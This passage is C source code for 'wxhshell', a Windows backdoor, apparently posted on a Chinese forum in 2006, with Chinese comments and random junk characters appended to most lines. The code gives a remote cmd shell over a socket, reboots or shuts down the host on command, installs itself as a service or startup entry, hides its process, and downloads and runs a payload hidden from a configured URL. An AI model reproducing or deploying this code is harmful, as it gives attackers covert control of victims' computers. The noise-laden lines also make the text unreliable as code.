'>3RZ& O  
    switch(cmd[0]) { *TI6Z$b|6  
  e Em0c]]9  
  // 帮助 qtQ:7WO  
  case '?': { R[-:-8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [bVP2j  
    break; 0P/LW|16  
  } nhhJUN?8  
  // 安装 Kqu7DZ+W  
  case 'i': { uvM8 8#  
    if(Install()) `B 0*/ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DL!s)5!M  
    else LZ]pyoi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hQx e0Pdt  
    break; zate%y  
    } zO]dQ$r\Z  
  // 卸载 Q&a<9e&  
  case 'r': { I~6 ;9TlQ  
    if(Uninstall()) OHvzK8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0&>?-?  
    else rzj'!~>U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >c>ar>4xF  
    break; w%H#>k  
    } G7JZP T  
  // 显示 wxhshell 所在路径 L%s""nP  
  case 'p': { 3A1kH` X^q  
    char svExeFile[MAX_PATH]; Mxp4YQl  
    strcpy(svExeFile,"\n\r"); x G"p .  
      strcat(svExeFile,ExeFile); F RUt}*  
        send(wsh,svExeFile,strlen(svExeFile),0); l7um9@[4  
    break; ;.a)r  
    } 8rNxd=!  
  // 重启 HJrg  
  case 'b': { y>1 8)8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;BvWU\!  
    if(Boot(REBOOT)) /qze  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .}>[ Kr  
    else { (ajX ;/  
    closesocket(wsh); /bk} J:QRg  
    ExitThread(0); >R-$JrU.=  
    } t!N >0]:mo  
    break;  \hc9Rk  
    } NtL?cWct  
  // 关机 ^i 7a2< z  
  case 'd': { H9[.#+ln  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _{);n$`  
    if(Boot(SHUTDOWN)) cIkLdh   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j* ?MFvwE  
    else { svgi!=  
    closesocket(wsh); qeGOSGc_  
    ExitThread(0); T^>cT"ux_  
    } #2=30  
    break; nTlrG6  
    } /UAj]U  
  // 获取shell A 76yz`D  
  case 's': { 014!~c  
    CmdShell(wsh); [%q":Ig  
    closesocket(wsh); (U<wKk"  
    ExitThread(0); z05pVe/5  
    break; =T6\kz9)`  
  } "0mR*{nF  
  // 退出 .YbD.{]D  
  case 'x': {  Jt][b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kXRD_B5&  
    CloseIt(wsh); l6O(+*6Us  
    break; ~C+T|  
    } #2iA-5  
  // 离开 #+ =afJ  
  case 'q': { T;7|d5][  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2x CGr>X  
    closesocket(wsh); 07&S^ X^/  
    WSACleanup(); Pr'py  
    exit(1); 35et+9  
    break; 5#tvc4+)  
        } C5FtJquGN)  
  } c-{]H8$v  
  } fN;y\!q5  
@wz7jzMi  
  // 提示信息 mmti3Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l-rI|0D#  
} I(|{/{P,  
  } (>'d`^kjk  
6zSN?0c  
  return; ZgtOy|?|  
} wu3ZSLY  
oizoKwp%  
// shell模块句柄 Dc5XU3Eu`  
int CmdShell(SOCKET sock) aQuENsB  
{ -#h \8Xl  
STARTUPINFO si; eS M!_2  
ZeroMemory(&si,sizeof(si)); u5,<.#EVY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JM0)x}] +  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r\?*?sL  
PROCESS_INFORMATION ProcessInfo;  `!BUd  
char cmdline[]="cmd"; 2t%)d9r32  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q&7Qht:ea:  
  return 0; 420K fVA  
} pw .(6"  
A2 r RYzN;  
// 自身启动模式 B _ >|Mo/  
int StartFromService(void) z> SCv;Q  
{ =Vfj#WL  
typedef struct )U?W+0[=  
{ ~ i,my31  
  DWORD ExitStatus; [iz  
  DWORD PebBaseAddress; TzjZGs W[V  
  DWORD AffinityMask; l1msXBC  
  DWORD BasePriority; Fwtwf{9I  
  ULONG UniqueProcessId; ~Km8 -b(&  
  ULONG InheritedFromUniqueProcessId; $vd._j&  
}   PROCESS_BASIC_INFORMATION; a&JAF?k  
[dUEe@P  
PROCNTQSIP NtQueryInformationProcess; JT<J[Qz5  
:Li)]qN.I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e3.TGv7=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0Pe.G0 #  
H}X"yLog*  
  HANDLE             hProcess; uPpP")  
  PROCESS_BASIC_INFORMATION pbi; 6+>rf{5P7  
ft5Bk'ZJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U]d+iz??b  
  if(NULL == hInst ) return 0; 6FfDif  
q~Ud>{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #gq3 e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tpS F[W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BFY~::<b  
94+#6jd e  
  if (!NtQueryInformationProcess) return 0; ??4QDa-  
5M3QRJ!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  GY>0v  
  if(!hProcess) return 0; 6 J#C  
yq2Bz7P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Nt)9- \T  
t{ 'QMX  
  CloseHandle(hProcess); a v/=x  
ie)Qsw@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n D?XP<9UU  
if(hProcess==NULL) return 0; hd900LA}  
p"ZPv~("V  
HMODULE hMod; {.ph)8  
char procName[255]; 4o_1F).\D  
unsigned long cbNeeded; ~96"^%D  
D:f#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HHdc[pJ0D  
]l4\/E W6  
  CloseHandle(hProcess); h<uQ~CQg  
R!`#pklB  
if(strstr(procName,"services")) return 1; // 以服务启动 9P]TIV.  
.Xr_BJ _  
  return 0; // 注册表启动 1i{B47|  
} &]5<^?3  
:geXplTx  
// 主模块 d(&vIjy  
int StartWxhshell(LPSTR lpCmdLine) T]+*} C  
{ 6;VlX,,j  
  SOCKET wsl; f!87JE=<  
BOOL val=TRUE; McfSB(59  
  int port=0; /g2 1.*Z  
  struct sockaddr_in door; 3.>jagu  
<1ai0]  
  if(wscfg.ws_autoins) Install(); tW(E\#!|p<  
Z"P{/~HG  
port=atoi(lpCmdLine); @9^kl$  
v<O\ l~S  
if(port<=0) port=wscfg.ws_port; <ioX|.7ZX  
&#WTXTr0=  
  WSADATA data; n_5g:`Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tZ(Wh  
/(Y\ <  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bk8U\Ut  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *H;&hq  
  door.sin_family = AF_INET; >$}nKPC,Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z:'2pu U+?  
  door.sin_port = htons(port);  d(k`Yk8  
;$Wa=wHb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y};qo'dlt  
closesocket(wsl); 9,,1\0-T*  
return 1; 3#dUQ1qo6  
} 'oo]oeJ-  
Cu >pql<O  
  if(listen(wsl,2) == INVALID_SOCKET) { eudPp"Km  
closesocket(wsl); \HRQSfGt  
return 1; y`'Ly@s  
} mv5!fp_*7  
  Wxhshell(wsl); 3b|.L Jz+  
  WSACleanup(); D4@=+  
A:N!H_x  
return 0; fY>\VY$>  
!\p-|51  
} KExfa4W 3{  
A1i-QG/6  
// 以NT服务方式启动 DRw%~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6~^+</?  
{ 7%JXVP}A  
DWORD   status = 0; W0R6<- 1  
  DWORD   specificError = 0xfffffff; Y~Zg^x2  
])e6\)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B} &C h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h$lY,7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \2 W( >_z  
  serviceStatus.dwWin32ExitCode     = 0; rBpr1XKl,  
  serviceStatus.dwServiceSpecificExitCode = 0; d8|:)7PSt  
  serviceStatus.dwCheckPoint       = 0; wd u>3Ch"y  
  serviceStatus.dwWaitHint       = 0; SJw0y[IL6(  
|]Ockg[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2 !{P<   
  if (hServiceStatusHandle==0) return; O#9Q+BD  
jk)U~KGcg  
status = GetLastError(); zS.7O'I<'  
  if (status!=NO_ERROR) brZ3T`p+.P  
{ 9;.dNdg>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ey)ox$  
    serviceStatus.dwCheckPoint       = 0; !m78/[LW  
    serviceStatus.dwWaitHint       = 0; k~Gjfo  
    serviceStatus.dwWin32ExitCode     = status; WMrK8e'  
    serviceStatus.dwServiceSpecificExitCode = specificError; 28zt.9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d d8^V_Kx  
    return; 5C/u`{4]Hg  
  } F*} b),  
|Y:T3hra61  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; InRn!~_N  
  serviceStatus.dwCheckPoint       = 0; yl|+D]  
  serviceStatus.dwWaitHint       = 0; 2f F)I&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P^+Og_$  
} *,mbZE=<  
u{8Wu;  
// 处理NT服务事件,比如:启动、停止 %Sj;:LC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T- JJc#  
{ gm4-w 9M[p  
switch(fdwControl) :s*&_y  
{ 'v4AM@%u  
case SERVICE_CONTROL_STOP: 60-LpGhvy  
  serviceStatus.dwWin32ExitCode = 0; * _U z**M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QD7>S(p  
  serviceStatus.dwCheckPoint   = 0; uI.4zbgl[  
  serviceStatus.dwWaitHint     = 0; 'M YqCfIK  
  { _Tev503  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }K0.*+M  
  } "x&H*"  
  return; ](^VEm}w;  
case SERVICE_CONTROL_PAUSE: MwXgaSV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %$Mvq&ZZ  
  break; M,|o2'  
case SERVICE_CONTROL_CONTINUE: q18dSu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OpYq qBf_  
  break; 2uV=kqnO  
case SERVICE_CONTROL_INTERROGATE: :y 0'[LV  
  break; &:w{[H$-  
}; :'#B U:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hnL(~  
} n0nkv[  
9NKZE?5P|D  
// 标准应用程序主函数 HH8a"Hq)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /TS>I8V!  
{ bMf +/n  
R~)c(jj5  
// 获取操作系统版本 lYU_uFOs\  
OsIsNt=GetOsVer(); RQv`D&u_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /9W-;l{=z  
y%p&g  
  // 从命令行安装 L2AZ0E"ub  
  if(strpbrk(lpCmdLine,"iI")) Install(); P6;L\9=H<  
luAhyEp  
  // 下载执行文件 +n1}({7m  
if(wscfg.ws_downexe) { *COr^7Kf5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BwrMRMq"  
  WinExec(wscfg.ws_filenam,SW_HIDE); C'kd>LAGu  
} l{vi{9n)  
w ~Es,@  
if(!OsIsNt) { XgU]Ktl  
// 如果时win9x,隐藏进程并且设置为注册表启动 sg{>-KHM  
HideProc(); P !6r`d  
StartWxhshell(lpCmdLine); h?fv:^vSi  
} i5V ly'Q  
else H|==i2V{  
  if(StartFromService()) ]'M Ly#9  
  // 以服务方式启动 *(s)CWf  
  StartServiceCtrlDispatcher(DispatchTable); {H"xC~.  
else 5zfPh`U>1  
  // 普通方式启动 ExV>s*y  
  StartWxhshell(lpCmdLine); GiI2nHZc  
c7'I'~  
return 0; q48V|6X'q  
}
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只看该作者 1 发表于: 2006-10-10
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